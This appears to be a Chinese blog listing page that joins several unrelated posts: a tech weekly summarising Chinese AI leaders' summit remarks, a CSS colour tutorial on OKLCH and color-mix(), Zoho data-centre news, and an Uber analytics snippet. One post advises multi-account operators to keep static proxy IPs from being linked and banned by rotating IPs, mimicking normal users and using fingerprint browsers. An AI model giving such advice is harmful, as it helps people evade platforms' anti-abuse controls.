包含关键字 typecho 的文章

这里记录每周值得分享的科技内容,周五发布。

本杂志开源,欢迎投稿。另有《谁在招人》服务,发布程序员招聘信息。合作请邮件联系[email protected])。

封面图

刚刚运营的北京通州站位于地下,为了充分利用自然光,屋顶采用了透光的膜结构,上方还有一个风帆形状的保护架。(via

中国 AI 大模型领导者在想什么

上周六(1月10日),北京有一场"AGI-Next 前沿峰会",由清华大学基础模型实验室主办。

中国顶尖的 AI 大模型领导者,很多都出席了。

  • 唐杰:清华大学教授,智谱创始人
  • 杨植麟:月之暗面 Kimi 创始人
  • 林俊旸:阿里 Qwen 技术负责人
  • 姚顺雨:OpenAI 前核心研究者、腾讯 AI 新部门负责人

他们谈了对大模型和中国 AI 发展的看法,网上有发言实录

内容非常多,有意思的发言也很多,下面是我摘录的部分内容。

一、唐杰的发言

1、智谱的起源

2019年,我们开始研究,能不能让机器像人一样思考,当时就从清华成果转化,在学校的大力支持下,成立了智谱这么一家公司,我现在是智谱的首席科学家。

那个时候,我们实验室在图神经网络、知识图谱方面,在国际上做的还行,但我们坚定地把这两个方向暂停了,暂时不做了,所有的人都转向做大模型。

2、泛化和 Scaling

我们希望机器有泛化能力,我教它一点点,它就能举一反三。就和人一样,教小孩子的时候,我们总希望教三个问题,他就会第四个、第十个,甚至连没教过的也会。怎么让机器拥有这种能力?

目前为止,我们主要通过 Scaling(规模化)达到这个目标,在不同层面提高泛化能力。

(1)我们最早期用 Transformer 训练模型,把所有的知识记忆下来。训练数据越多、算力越多,模型的记忆能力就越强,也就是说,它把世界上所有的知识都背下来了,并且有一定的泛化能力,可以抽象,可以做简单的推理。比如,你问中国的首都是什么?这时候模型不需要推理,它只是从知识库里拿出来。

(2)第二层是把模型进行对齐和推理,让它有更复杂的推理能力,以及理解我们的意图。我们需要持续的 Scaling SFT(Supervised Fine-Tuning,监督式微调),甚至强化学习。通过人类大量的数据反馈,不断 Scaling 反馈数据,可以让模型变得更聪明、更准确。

(3)今年是 RLVR(强化学习与可验证奖励)爆发年。这里的"可验证"是什么意思?比如,数学可以验证、编程可能可以验证,但更广泛地,网页好不好看,就不大好验证了,它需要人来判断。

这就是为什么这个事情很难做,我们原来只能通过人类反馈数据来做,但人类反馈的数据里面噪音也非常多,而且场景也非常单一。

如果我们有一个可验证的环境,这时候我们可以让机器自己去探索、自己去发现这个反馈数据,自己来成长。这是我们面临的一个挑战。

3、从 Chat 到做事:新范式的开始

大家可能会问,是不是不停地训练模型,智能就越来越强?其实也不是。

2025年初,DeepSeek 出来,真是横空出世。大家原来在学术界、产业界都没有料到 DeepSeek 会突然出来,而且性能确实很强,一下子让很多人感到很震撼。

我们当时就想一个问题,也许在 DeepSeek 这种范式下,Chat(对话)差不多算是解决了。也就是说我们做得再好,在 Chat 上可能做到最后跟 DeepSeek 差不多。或许我们可以再个性化一点,变成有情感的 Chat,或者再复杂一点,但是总的来讲,这个范式可能基本到头了,剩下更多的反而是工程和技术的问题。

那么,AI 下一步朝哪个方向发展?我们当时的想法是,让每个人能够用 AI 做一件事情,这可能是下一个范式,原来是 Chat,现在是真的做事了。

当时有两个方向,一个是编程,做 Coding、做 Agent;另一个是用 AI 来帮我们做研究,类似于 DeepResearch,甚至写一个复杂的研究报告。我们现在的选择是把 Coding、Agentic、Reasoning 这三个能力整合在一起。

二、林俊旸的发言

4、千问是怎么开源的

千问的开源模型比较多,很多人问这是为什么?

这起源于2023年8月3日,我们开源了一个小模型,它是我们内部用来做实验的 1.8B 模型。我们做预训练,资源毕竟有限,你做实验的话不能通通用 7B 的模型来验,就拿 1.8B 的来验。

当时我的师弟跟我说,我们要把这个模型开源出去。我非常不理解,我说这个模型在2023年几乎是一个不可用的状态,为什么要开源出去?他跟我说 7B 很消耗机器资源,很多硕士生和博士生没有机器资源做实验,如果 1.8B 开源出去的话,很多同学就有机会毕业了,这是很好的初心。

干着干着,手机厂商跑来跟我们说 7B 太大,1.8B 太小,能不能给我们干一个 3B 或 4B 的,这个容易,没有什么很难的事情。一路干下来,型号类型越来越多,跟服务大家多多少少有一点关系。

5、我们的追求是多模态模型

我们自己内心追求的,不仅仅是服务开发者或者服务科研人员,而是能不能做一个 Multimodal Foundation Agent(多模态基础智能体)。

我特别相信这件事情,2023年的时候大模型是一个大家都不要的东西,多多少少有那么几分大炼钢铁的成分,多模态是我们从那时就一直想做的事情。

为什么呢?我们觉得如果你想做一个智能的东西,天然的应该是 Multimodal(多模态),当然带有不同看法,各个学者都有一些看法,多模态能不能驱动智力的问题。我懒得吵这个架,人有眼睛和耳朵可以做更多的事情,我更多的考虑是 Foundation(基础智能体)有更多的生产力,能不能更好地帮助人类,毫无疑问我们应该做视觉,我们应该做语音。

更进一步,我们要做什么东西呢?Omni 的模型(全模态模型)不仅仅是能够理解文本、视觉、音频,我们可能还让它生成文本、音频。今天我们已经做到了,但是我们还没有做到把视觉生成结合在一起。如果做到三进三出,我觉得至少是我个人喜欢的东西。

三、姚顺雨的发言

6、To C 和 To B 的差异

我的一个观察是 To C(消费者模型)和 To B(商业用户模型)发生了明显的分化。

大家一想到 AI,就会想到两个东西,一个是 ChatGPT,另外一个是 Claude Code。它们就是做 To C 和 To B 的典范。

对于 To C 来说,大部分人大部分时候不需要用到那么强的智能,可能今天的 ChatGPT 和去年相比,研究分析的能力变强了,但是大部分人大部分时候感受不到,更多把它当作搜索引擎的加强版,很多时候也不知道该怎么去用,才能把它的智能激发出来。

但对于 To B 来说,很明显的一点是智能越高,代表生产力越高,也就越值钱。所以,大部分时候很多人就是愿意用最强的模型。一个模型是200美元/月,第二强或者差一些的模型是50美元/月、20美元/月,我们今天发现很多美国的人愿意花溢价用最好的模型。可能他的年薪是20万美元,每天要做10个任务,一个非常强的模型可能10个任务中八九个做对了,差的是做对五六个,问题是你不知道这五六个是哪五六个的情况下,需要花额外精力去监控这个事情。

所以,在 To B 这个市场上,强的模型和稍微弱点的模型,分化会越来越明显。

7、垂直整合和模型应用分层

我的第二点观察是,基础模型和上层应用,到底是垂直整合,还是模型应用分层,也开始出现了分化。

比如,ChatGPT Agent 是垂直整合,Claude(或者 Gemini)+ Manus 是模型应用分层。过去大家认为,当你有垂直整合能力肯定做得更好,但起码今天来看并不一定。

首先,模型层和应用层需要的能力还是挺不一样的,尤其是对于 To B 或者生产力这样的场景来说,可能更大的预训练还是一个非常关键的事情,这个事情对于产品公司确实很难做。但是想要把这么一个特别好的模型用好,或者让这样的模型有溢出能力,也需要在应用侧或者环境这一侧做很多相应的事情。

我们发现,其实在 To C 的应用上,垂直整合还是成立的,无论 ChatGPT 还是豆包,模型和产品是非常强耦合、紧密迭代的。但是对于 To B 来说,这个趋势似乎是相反的,模型在变得越来越强、越来越好,但同样会有很多应用层的东西将好的模型用在不同的生产力环节。

8、需要更大的 Context

怎么让今天的大模型或者 AI 能够给用户提供更多价值?我们发现,很多时候需要的是额外的 Context(上下文)。

比如,我问 AI 今天该去吃什么?其实,你今天问 ChatGPT 和你去年问或者明天问,答案应该会差很多。这个事情想要做好,不是说你需要更大的模型、更强的预训练、更强的强化学习,而是可能需要更多额外的输入,或者叫 Context。如果它知道我今天特别冷,我需要吃些暖和的,我在今天这样的范围活动,可能我老婆在另一个地方吃什么等各种各样的事情,它的回答就会更好。

回答这样的问题,更多需要的是额外的输入。我和老婆聊了很多天,我们可以把聊天记录转发给元宝,把额外的输入用好,会给用户带来很多额外的价值。这是我们对 To C 的思考。

四、圆桌对话:中国 AI 的未来

李广密(主持人):我想问大家一个问题,在三年和五年以后,全球最领先的 AI 公司是中国团队的概率有多大?我们从今天的跟随者变成未来的引领者,这个过程到底还有哪些需要去做好?

9、姚顺雨的回答

我觉得概率还挺高的,我挺乐观的。目前看起来,任何一个事情一旦被发现,在中国就能够很快的复现,在很多局部做得更好,包括之前制造业、电动车这样的例子已经不断地发生。

我觉得可能有几个比较关键的点。

(1)中国的光刻机到底能不能突破,如果最终算力变成了瓶颈,我们能不能解决算力问题。

(2)能不能有更成熟的 To B 市场。今天我们看到很多做生产力或者做 To B 的模型和应用,还是会诞生在美国,因为支付意愿更强,文化更好。今天在国内做这个事情很难,所以大家都会选择出海或者国际化。这和算力是比较大的客观因素。

(3)更重要的是主观因素,我觉得中国想要突破新的范式或者做非常冒险事情的人可能还不够多。也就是说,有没有更多有创业精神或者冒险精神的人,真的想要去做前沿探索或者范式突破的事情。我们到底能不能引领新的范式,这可能是今天中国唯一要解决的问题,因为其他所有做的事情,无论是商业,还是产业设计,还是做工程,我们某种程度上已经比美国做得更好。

10、林俊旸的回答

这个问题是个危险的问题,理论上这个场合是不可以泼冷水的,但如果从概率上来说,我可能想说一下我感受到的中国和美国的差异。比如说,美国的 Compute(算力)可能整体比我们大1-2个数量级,但我看到不管是 OpenAI 还是什么,他们大量的算力投入到的是下一代研究当中去,我们今天相对来说捉襟见肘,光交付可能就已经占据了我们绝大部分的算力,这会是一个比较大的差异。

这可能是历史上就有的问题,创新是发生在有钱的人手里,还是穷人手里。穷人不是没机会,我们觉得这些富哥真的很浪费,他们训练了这么多东西,可能训练了很多也没什么用。但今天穷的话,比如今天所谓的算法 Infra(基础设施)联合优化的事情,如果你真的很富,就没有什么动力去做这个事情。

未来可能还有一个点,如果从软硬结合的角度,我们下一代的模型和芯片的软硬结合,是不是真的有可能做出来?

2021年,我在做大模型,阿里做芯片的同学,找我说能不能预测一下,三年之后这个模型是不是 Transformer,是不是多模态。为什么是三年呢?他说我们需要三年时间才能流片。我当时的回答是三年之后在不在阿里巴巴,我都不知道!但我今天还在阿里巴巴,它果然还是 Transformer,果然还是多模态,我非常懊悔为什么当时没有催他去做。当时我们的交流非常鸡同鸭讲,他给我讲了一大堆东西,我完全听不懂,我给他讲,他也不知道我们在做什么,就错过了这个机会。这个机会有没有可能再来一次?我们虽然是一群穷人,是不是穷则思变,创新的机会会不会发生在这里?

今天我们教育在变好,我属于90年代靠前一些的,顺雨属于90年代靠后一点的,我们团队里面有很多00后,我感觉大家的冒险精神变得越来越强。美国人天然有非常强烈的冒险精神,一个很典型的例子是当时电动车刚出来,甚至开车会意外身亡的情况下,依然会有很多富豪们都愿意去做这个事情,但在中国,我相信富豪们是不会去干这个事情的,大家会做一些很安全的事情。今天大家的冒险精神开始变得更好,中国的营商环境也在变得更好的情况下,我觉得是有可能带来一些创新的。概率没那么大,但真的有可能。

三年到五年后,最领先的 AI 公司是一家中国公司的概率,我觉得是20%吧,20%已经非常乐观了,因为真的有很多历史积淀的原因在这里。

11、唐杰的回答

首先我觉得确实要承认,无论是做研究,尤其是企业界的 AI Lab,和美国是有差距的,这是第一点。

我们做了一些开源,可能有些人觉得很兴奋,觉得中国的大模型好像已经超过美国了。其实可能真正的情况是我们的差距也许还在拉大,因为美国那边的大模型更多的还在闭源,我们是在开源上面玩了让自己感到高兴的,我们的差距并没有像我们想象的那样好像在缩小。有些地方我们可能做的还不错,我们还要承认自己面临的一些挑战和差距。

但我觉得,现在慢慢变得越来越好。

(1)90后、00后这一代,远远好过之前。一群聪明人真的敢做特别冒险的事,我觉得现在是有的,00后这一代,包括90后这一代是有的,包括俊旸、Kimi、顺雨都非常愿意冒风险来做这样的事情。

(2)咱们的环境可能更好一些,无论是国家的环境,比如说大企业和小企业之间的竞争,创业企业之间的问题,包括我们的营商环境。

(3)回到我们每个人自己身上,就是我们能不能坚持。我们能不能愿意在一条路上敢做、敢冒险,而且环境还不错。如果我们笨笨的坚持,也许走到最后的就是我们。

科技动态

1、载人飞艇

1月9日,湖北制造的载人飞艇祥云 AS700,完成了荆门至武汉往返航程。这是全国首次载人飞艇商业飞行,可能也是目前世界唯一运作的商业载人飞艇。

飞艇总长50米,最大载客量9人。由于载客量太小,不可能用作常规的交通工具,只能做一些观光飞行。

2、鼻子触控

一个英国发明家想在洗澡时使用手机,结果因为手指带水无法触控。

他灵机一动,发明了戴在鼻子上的触控笔。

它的结构很简单,就是一个石膏纤维的鼻管,里面插着一支触控笔。

这个发明看上去很有用,可以解放双手,也适合戴手套的情况和残疾人士。

3、越南禁止不可跳过的广告

越南近日颁布第342号法令,禁止不可跳过的广告,将于2026年2月15日起生效。

法令规定,视频广告的等待时间必须在5秒以内,否则观众可以选择跳过。而且,关闭方式应该是清晰简便的,禁止使用迷惑用户的虚假或模糊符号。

这明显针对 Youtube 等视频平台的片头广告。这让人第一次感到,越南互联网值得叫好。

文章

1、我所有的新代码都将闭源(英文)

作者是一个开源软件贡献者。他感到,自己的开源代码都被大模型抓取,导致仓库访问者减少,进而也没有收入,所以他后面的代码都要闭源。

2、网站的视觉回归测试(英文)

本文介绍如何使用 Playwright,对网页进行视觉测试,看看哪里出现变动。

3、我用 PostgreSQL 代替 Redis(英文)

Redis 是最常用的缓存工具,作者介绍它的痛点在哪里,怎么用 PostgreSQL 数据库替代。

4、如何用 CSS 修复水平滚动条(英文)

一篇 CSS 初级教程,介绍四个简单的技巧,让网页不会出现水平滚动条(即避免溢出)。

5、消息队列原理简介(英文)

本文是初级教程,介绍消息队列(mesage queue)的概念和作用。

6、macOS Tahoe 的圆角问题(英文)

macOS 最新版本 Tahoe 加大了圆角半径,造成调整窗口大小时经常失败。作者认为,从操作角度看,圆角面积最好超过端头的50%。

工具

1、whenwords

本周,GitHub 出现了一个奇特的库,没有一行代码,只有一个接口文档。

用户需要自己将接口文档输入大模型,并指定编程语言,生成相应的库代码再使用。

以后会不会都是这样,软件库没有代码,只有接口描述?

2、Hongdown

Markdown 文本的格式美化器,根据预设的规则,修改 Markdown 文本的风格样式。

3、VAM Seek

一个开源的网页视频播放器,会自动显示多个时点的视频缩略图,便于快速点击跳转。

4、kodbox

开源的网页文件管理器。

5、Nigate

让 Mac 电脑读写 NTFS 磁盘的开源工具。(@hoochanlon 投稿)

6、Flippy Lid

一个实验性软件,把 macbook 铰链开合作为输入,可以玩 Flippy Lid,也可以作为密码解锁。(@huanglizhuo 投稿)

7、Jumble

nostr 网络的开源 Web 客户端,专门用来浏览以 feed 内容为主的 relay 节点。(@CodyTseng 投稿)

8、Clash Kit

一个基于 Node.js 的 Clash 命令行管理工具。(@wangrongding 投稿)

9、SlideNote

开源的 Chrome 浏览器插件,在侧边栏做笔记,支持跨设备自动同步。(@maoruibin 投稿)

10、NginxPulse

开源的 Nginx 访问日志分析与可视化面板,提供实时统计、PV 过滤、IP 归属地、客户端解析。
@likaia 投稿)

AI 相关

1、Auto Paper Digest (APD)

一个 AI 应用,自动从 arXiv 抓取每周的热门 AI 论文,通过 NotebookLM 生成视频讲解,并能发布到抖音。(@brianxiadong 投稿)

2、CC Switch

一个跨平台桌面应用,一键切换 Claude Code / Codex / Gemini CLI 的底层模型,以及完成其他的管理设置。(@farion1231 投稿)

3、网易云音乐歌单 AI 分析

使用 AI 分析用户的网易云音乐歌单,进行总结。(@immotal 投稿)

资源

1、EverMsg

这个网站可以查看 BTC 区块链的 OP_RETURN 字段,该字段记录了一段文本,只要发上区块链就永远不会删除和修改。(@blueslmj 投稿)

2、DeepTime Mammalia

沉浸式 3D/2D 网页可视化项目,交互式哺乳纲演化树,探索哺乳动物2亿年的演化。(@SeanWong17 投稿)

图片

1、冰下修船

俄罗斯有一个船厂,位于北极圈附近。每年冬天,船坞都要结冰。

为了冬天也能修船,船厂会把冰层凿掉一块,露出船底。

冰层通常不会那么厚,不会结冰到船底,必须分层凿开。工人先用电锯,锯开最上层的冰层,然后等待下面的河水结冰,再用电锯向下切割,反复多次,直到船底结冰。

有时,需要凿开一条很长的冰槽。

下图是工人进入冰层下方,检修船底,由于冰下工作条件恶劣且有危险性,工人的工资都较高。

言论

1

我对自己的代码被大模型吸收感觉如何?

我很高兴这样,因为我把这看作是我一生努力的延续:民主化代码、系统和知识。

大模型让我们更快编写更好、更高效的软件,并让小团队有机会与大公司竞争。这和 90 年代开源软件所做的事情一样。然而,这项技术太重要,绝不能只掌握在少数公司手中。

-- Antirez,Redis 项目的创始人

2、

即使你不相信 AI,但跳过它对你和你的职业都没有帮助。

以前,你熬夜编程,看到项目顺利运行时,心潮翻滚。现在,如果你能有效利用 AI,可以建造更多更好的项目。乐趣依旧存在,未受影响。

-- Antirez,Redis 项目的创始人

3、

如果你不写作,你就是一个有限状态机。写作时,你拥有图灵机的非凡力量。

-- 曼纽尔·布卢姆(Manuel Blum),图灵奖得主

4、

人们陷入困境有三个主要原因:(1)行动力不足,(2)行动方向错误,(3)等待天上掉馅饼(幻想问题会缓解而拒绝采取行动)。

-- 《当你想摆脱困境》

往年回顾

年终笔记四则(#334)

YouTube 有多少个视频?(#284)

AI 聊天有多强?(#234)

政府的存储需求有多大?(#184)

(完)

在跨境电商、广告投放、多账号运营等场景中,静态代理IP是非常重要的。它能够保证IP稳定,帮助用户在不同平台上保持账号的一致性。然而,如何IP使用不当,很容易造成静态IP被封的情况,影响到业务的正常运行。那么,如何有效避免静态代理IP被封呢?
怎么避免静态代理IP被封?

一、什么情况下静态代理IP会被封?

静态代理IP被封,通常源于以下几个原因:

1.多账号登录同一个IP

多账号操作同一个平台,尤其是电商平台或社媒平台,如果使用同一个IP批量登录多个账号,很容易被识别为关联账号,从而封禁IP或封号。

2.IP黑名单或历史异常

某些静态IP之前可能被滥用过,已被平台加入黑名单,新用户使用时也可能直接被封禁。

3.频繁请求同一平台

平台监测到同一IP在短时间内发出大量请求,会怀疑异常行为,从而限制或封禁IP。

二、选择可靠的静态代理IP服务

1.关注IP归属地

尽量使用与目标平台匹配的地理位置IP,避免地理异常导致封禁。

2.选择信誉好的代理商

高质量的静态IP通常来自专业服务商,IP干净、稳定,并定期更新。

3.优先选择独享IP

独享IP相比共享IP,被封风险更低,因为没有其他用户操作影响IP信誉。

三、合理使用静态代理IP

1.避免短时间高频操作

控制请求频率,模拟正常用户行为, 降低被检测到异常浏览量的概率。

2.定期更换IP

即便是静态代理IP,也可以根据运营需求进行轮换,减少被追踪的风险。

3.结合浏览器指纹和设备环境

使用指纹浏览器或调整浏览器环境,确保IP使用与账号环境一致,降低平台识别风险。

四、总结

静态代理IP虽然稳定,但被封的风险仍然存在。核心在于:

选择优质、独享的IP资源

模拟正常用户行为,避免高频操作

分散账号、结合浏览器环境使用

只要科学使用,静态代理IP不仅可以提高多账号运营效率,还能有效降低被封风险,为跨境电商、社媒运营和广告投放提供可靠支持。

在上篇文章,我们学会了现代 CSS 颜色的基础用法。

本篇我们进入更高级的领域:如何像设计师一样操纵颜色

CSS 现在能做的事情,甚至比设计软件还要强大!

1. 操纵颜色

1.1. 基础回顾

先复习一下上篇文章的内容:

:root {
  --primary: #ff0000;
}

.primary-bg-50-opacity {
  /* h s l 不是字母,是变量! */
  background: hsl(from var(--primary) h s l / 0.5);
}

注意: h s l 这三个字母其实是变量,分别存储了色相(hue)、饱和度(saturation)、亮度(lightness)的值。

我们可以替换这些变量,比如给绿色(#00ff00)加点蓝:

/* 基础绿色没有蓝色成分 */
.green-with-a-touch-of-blue {
  /* 在蓝色通道加 25 */
  color: rgb(from #00ff00 r g calc(b + 25));
}

这就像调色板,在基础的绿色中,添加点“蓝色颜料”。

1.2. 实用技巧

掌握了基础用法,我们就可以讲些实际开发中会用到的场景了。

  1. 创建互补色(色轮对面的颜色):
:root {
  --color-primary: #2563eb; /* 蓝色 */

  /* 色相加 180 度,跳到对面 */
  --color-secondary: hsl(from var(--color-primary) calc(h + 180) s l);
}
  1. 创建三色组合:
:root {
  --color-primary: #2563eb;

  /* 色轮上均匀分布 120 度 */
  --color-secondary: hsl(from var(--color-primary) calc(h + 120) s l);
  --color-tertiary: hsl(from var(--color-primary) calc(h - 120) s l);
}

就像时钟:12 点是主色,4 点和 8 点是配色,完美对称!

使用效果如下:

<!-- 这是一张图片,ocr 内容为:CHANGE THE PRIMARY COLOR: -->

  1. 相对调整
:root {
  --color-primary-base: #2563eb;

  /* 比基础色亮 25% */
  --color-primary-lighter: hsl(from var(--color-primary-base) h s calc(l + 25));

  /* 比基础色暗 25% */
  --color-primary-darker: hsl(from var(--color-primary-base) h s calc(l - 25));
}

使用这种方法,不管基础色是多亮,都会相对地变亮或变暗。

这就像调空调,“比现在低 5 度”比“设定到 20 度”更灵活。

使用效果如下:

<!-- 这是一张图片,ocr 内容为:CHANGE THE PRIMARY COLOR: -->

2. 暗黑模式的层次感

现在我们能相对调整颜色了,可是究竟有什么用呢?

让我给你举个具体的使用场景。

在浅色主题中,我们可以根据阴影来区分层次:

<!-- 这是一张图片,ocr 内容为:LEVEL 1 LEVEL 2 LEVEL 3 -->

但在深色背景下,阴影的效果并不明显。

因此在深色主题中,我们希望每个层次的颜色略微变浅。

借助上篇讲过的 light-dark()和相对颜色调整,我们便可以实现:

:root {
  --surface-base-light: hsl(240 67% 97%);
  --surface-base-dark: hsl(252 21% 9%);
}

/* 第一层:基础层 */
.surface-1 {
  background: light-dark(var(--surface-base-light), var(--surface-base-dark));
}

/* 第二层:稍微亮一点 */
.surface-2 {
  background: light-dark(var(--surface-base-light), hsl(from var(--surface-base-dark) h s calc(l + 4)));
}

/* 第三层:再亮一点 */
.surface-3 {
  background: light-dark(var(--surface-base-light), hsl(from var(--surface-base-dark) h s calc(l + 8)));
}

想象一下深海:越接近水面,光线越充足。暗色模式的层次就是这个原理。

使用效果如下:

<!-- 这是一张图片,ocr 内容为:LEVEL 1 LEVEL 1 LEVEL 2 LEVEL 2 LEVEL LEVEL 3 -->

3. 完整配色方案

设计师创建配色方案时,不只是简单地调整亮度,还会同时微调色相和饱和度,比如

  • 变亮时:饱和度增加,色相向冷色调偏移
  • 变暗时:饱和度降低

这便可以通过 CSS 来实现:

:root {
  --primary-base: hsl(221 83% 50%);

  /* 400: 亮度60%,色相-3度,饱和度+5% */
  --primary-400: hsl(from var(--primary-base) calc(h - 3) calc(s + 5) 60%);

  /* 300: 亮度70%,色相-6度,饱和度+10% */
  --primary-300: hsl(from var(--primary-base) calc(h - 6) calc(s + 10) 70%);

  /* 以此类推... */
}

为什么要这么麻烦呢?

因为只调亮度会让浅色看起来“失去活力”。

就像拍照:自动模式能拍,但手动调整曝光、对比度、色温会更漂亮。

为了让你更直观地看到变化

<!-- 这是一张图片,ocr 内容为:PRIMARY COLOR SCALE SYSTEMS PERCEPTUAL SCALE(ADJUSTS HUE & SATURATION) 200 700 900 600 1000 100 400 800 500 300 FLAT SCALE(ONLY LIGHTNESS CHANGES) 600 500 400 300 100 700 1000 900 800 200 -->

第一排是都调整的版本,第二排是未调整色相和饱和度的版本。

最明显的区别在于 100、200 和 300 这几个色块,当仅调整亮度值时,颜色看起来失去了一些鲜艳度。

4. OKLCH 更科学的配色方式

4.1. 问题:HSL

HSL 虽然很棒,但在使用时,你会发现一些问题,让我们看个例子:

.green-bg {
  /* 饱和度 100%,亮度 50% */
  background: hsl(100 100% 50%);
  color: white;
}

.blue-bg {
  /* 同样饱和度 100%,亮度 50% */
  background: hsl(220 100% 50%);
  color: white;
}

你会发现,色和蓝色的饱和度、亮度虽然完全一样,但视觉效果完全不同:

<!-- 这是一张图片,ocr 内容为:BLUE GREEN -->

明显蓝色背景上的文字清晰易读,对比度超过 5,而绿色背景上的文字却很难看清,对比度仅略高于 1。

之所以会这样,是因为 HSL 的“亮度”不符合人眼感知。

人眼对绿色比蓝色更敏感,所以同样的“50%亮度”,绿色看起来更亮。

4.2. 解决:OKLCH

而这就是 oklch() 的优势。

OKLCH 是基于感知亮度设计的:

.consistent-green {
  background: oklch(0.54 0.23 261);
}

.consistent-blue {
  background: oklch(0.54 0.23 146);
}

使用效果如下:

<!-- 这是一张图片,ocr 内容为:BLUE GREEN -->

现在不管什么颜色,亮度值相同,人眼看起来的亮度就相同!

4.3. 讲解:OKLCH 的三个参数

在 LCH 颜色模型中:

第一个值是亮度(Lightness),取值范围为 0 到 1。它的计算方式与 HSL 略有不同,因为它基于感知亮度,但概念相同,即 0 是黑色,1 是白色。

第二个值是色度(Chroma),类似于饱和度,0 是灰色,越大越鲜艳,但最大值不固定,取决于亮度和色相(这是 OKLCH 最麻烦的地方)

第三个值是色相(Hue),和 HSL 一样是色轮,0 到 360 度,区别是 0 度是洋红色(HSL 里 0 度是红色)

OKLCH 的尴尬之处就在于色度(Chroma)的最大值会变:

/* 某些色相+亮度组合,0.4 已经是极限 */
.max-chroma-1 {
  background: oklch(0.6 0.4 120);
}

/* 但另一些组合,0.4 可能太高或太低 */
.max-chroma-2 {
  background: oklch(0.8 0.4 200); /* 可能超出范围 */
}

就像不同口味的饮料,有的最浓是“3 勺糖”,有的最浓是“5 勺糖”,没有统一标准。

4.4. 实用技巧:结合相对颜色

虽然直接写 OKLCH 值很麻烦,但我们可以用 HSL 定义基础色,然后用 OKLCH 保持一致性:

.toast {
  --base-color: hsl(225, 87%, 56%); /* 用熟悉的 HSL 定义 */
}

[data-toast="info"] {
  /* 只改变色相,保持亮度和色度 */
  --toast-color: oklch(from var(--base-color) l c 275);
}

[data-toast="warning"] {
  --toast-color: oklch(from var(--base-color) l c 80);
}

[data-toast="error"] {
  --toast-color: oklch(from var(--base-color) l c 35);
}

使用效果如下:

<!-- 这是一张图片,ocr 内容为:USING OKLCH SOME GENERAL INFO TOAST THIS MIGHT END BADLY OH NO, SOMETHING HAS GONE WRONG! USING HSL SOME GENERAL INFO TOAST THIS MIGHT END BADLY OH NO,SOMETHING HAS GONE WRONG! -->

这样做的好处在于:不同颜色的提示框,边框对比度、整体饱和度感觉都很一致。

5. 混合颜色

有的时候,我们可能需要混合两种颜色:

.purple {
  /* 红色和蓝色各占 50% */
  color: color-mix(in srgb, red, blue);
}

就像调颜料:红色颜料加蓝色颜料,得到紫色。

目前必须定义一个颜色空间,所以必须写 in srgbin oklab 等,未来会默认用 oklab

不同颜色空间混出来的结果不一样:

<!-- 这是一张图片,ocr 内容为:SRGB OKLCH OKLAB XYZ XYZ -->

一般推荐:

  1. 先试 oklab
  2. 再试 oklch
  3. 不满意就换其他的

5.1. 控制混合比例

默认情况下,使用该功能时 color-mix(),每种颜色将使用 50% 的强度。

当然,我们也可以控制特定颜色的具体强度。

/* 90% 红色 + 10% 蓝色 */
.red-with-a-touch-of-blue {
  background: color-mix(in oklab, red 90%, blue);
}

/* 或者反过来写 */
.or-like-this {
  background: color-mix(in oklab, red, blue 10%);
}

5.2. 创建半透明色

有两种方法可以获得透明的值:

方法一:让总量小于 100%

/* 60% + 20% = 80%,所以透明度是 80% */
.semi-opaque {
  background: color-mix(in oklab, red 60%, blue 20%);
}

方法二:混入 transparent

/* 30% 的不透明红色 */
.thirty-percent-opacity-red {
  background: color-mix(in oklch, red 30%, transparent);
}

不过如果只是想降低透明度,还是用相对颜色更直接:

.better-way {
  background: rgb(from red r g b / 0.3);
}

5.3. 小技巧:分段渐变

/* 不用手动算中间的每个颜色,color-mix 帮你搞定 */
.banded-gradient {
  background: linear-gradient(to right, red, color-mix(in oklch, red 75%, blue), color-mix(in oklch, red 50%, blue), color-mix(in oklch, red 25%, blue), blue);
}

使用效果如下:

<!-- 这是一张图片,ocr 内容为: -->

6. 未来更简单

重复写这些代码很烦?

CSS 自定义函数快来了:

/* 定义函数 */
@function --lower-opacity(--color, --opacity) {
  result: oklch(from var(--color) l c h / var(--opacity));
}

/* 使用函数 */
.lower-opacity-primary {
  background: --lower-opacity(var(--primary), 0.5);
}

或者定义整套色阶函数:

@function --shade-100(--color) returns <color> {
  result: hsl(from var(--color) calc(h - 12) calc(s + 15) 95%);
}

@function --shade-200(--color) returns <color> {
  result: hsl(from var(--color) calc(h - 10) calc(s + 12) 85%);
}
/* 以此类推... */

.call-to-action {
  background: --shade-200(var(--accent));
}

.hero {
  background: --shade-800(var(--primary));
  color: --shade-100(var(--primary));
}

一次定义,到处使用,完美!

7. 总结

最后总结下本篇文章的重点:

  1. 用 calc() 操纵颜色 - 数学生成配色方案
  2. OKLCH - 基于人眼感知的颜色系统,不同色相亮度一致
  3. color-mix() - 像调颜料一样混合颜色

在实际使用时:

  • 简单需求:相对颜色 + HSL
  • 需要视觉一致性:OKLCH
  • 需要混合颜色:color-mix()
  • 暗黑模式层次:light-dark() + 相对颜色

本篇整理自《A pragmatic guide to modern CSS colours - part two》,希望能帮助到你。

我是冴羽,10 年笔耕不辍,专注前端领域,更新了 10+ 系列、300+ 篇原创技术文章,翻译过 Svelte、Solid.js、TypeScript 文档,著有小册《Next.js 开发指南》、《Svelte 开发指南》、《Astro 实战指南》。

欢迎围观我的“网页版朋友圈”,关注我的公众号:冴羽(或搜索 yayujs),每天分享前端知识、AI 干货。

1月13日,Zoho宣布在迪拜、阿布扎比投建的两座数据中心正式投入运营。这是继2024年沙特利雅得、吉达数据中心落地后,Zoho在中东的又一重要基建动作。至此,Zoho在中东地区自建的数据中心已达四座,将用来全面提升对当地客户的服务响应效率与数据安全保障能力

图片

两座数据中心目前已获得迪拜电子安全中心 (DESC)颁发的CSP安全标准认证,并且符合 ISO 27001、ISO 22301、ISO 27017和CSA STAR二级数据中心认证标准。这意味着,Zoho有资格为当地政府、机构、企业及出海中东的海外企业提供安全可靠的数字化服务。

Zoho联合创始人沙伊莱什•戴维说到:「阿联酋是Zoho在中东的核心战略市场,目前已投资8000万迪拉姆(约合人民币1.52亿),两座数据中心的启用是我们持续投资中东市场战略的重要一步,更好地帮助企业实现本地数据存储,增强数据主权,并支持国家网络安全议程。」

过去五年,Zoho在中东市场的发展势头持续攀升,成功从早期的市场探索者蜕变为中东企业数字化转型的关键伙伴。仅在2025年,Zoho在阿联酋的业务就增长了38.7%,合作伙伴网络扩大了29%,本地员工人数增加了35%,助力7000多家企业实现数字化转型升级。

为了标准化 iOS 和 Android 平台的事件工具,Uber 工程团队重新设计了其移动分析架构,解决了所有权分散、语义不一致和跨平台数据不可靠的问题,目标是简化工程工作,提高数据质量,并为骑手和司机应用的产品和数据团队提供可靠的洞察。

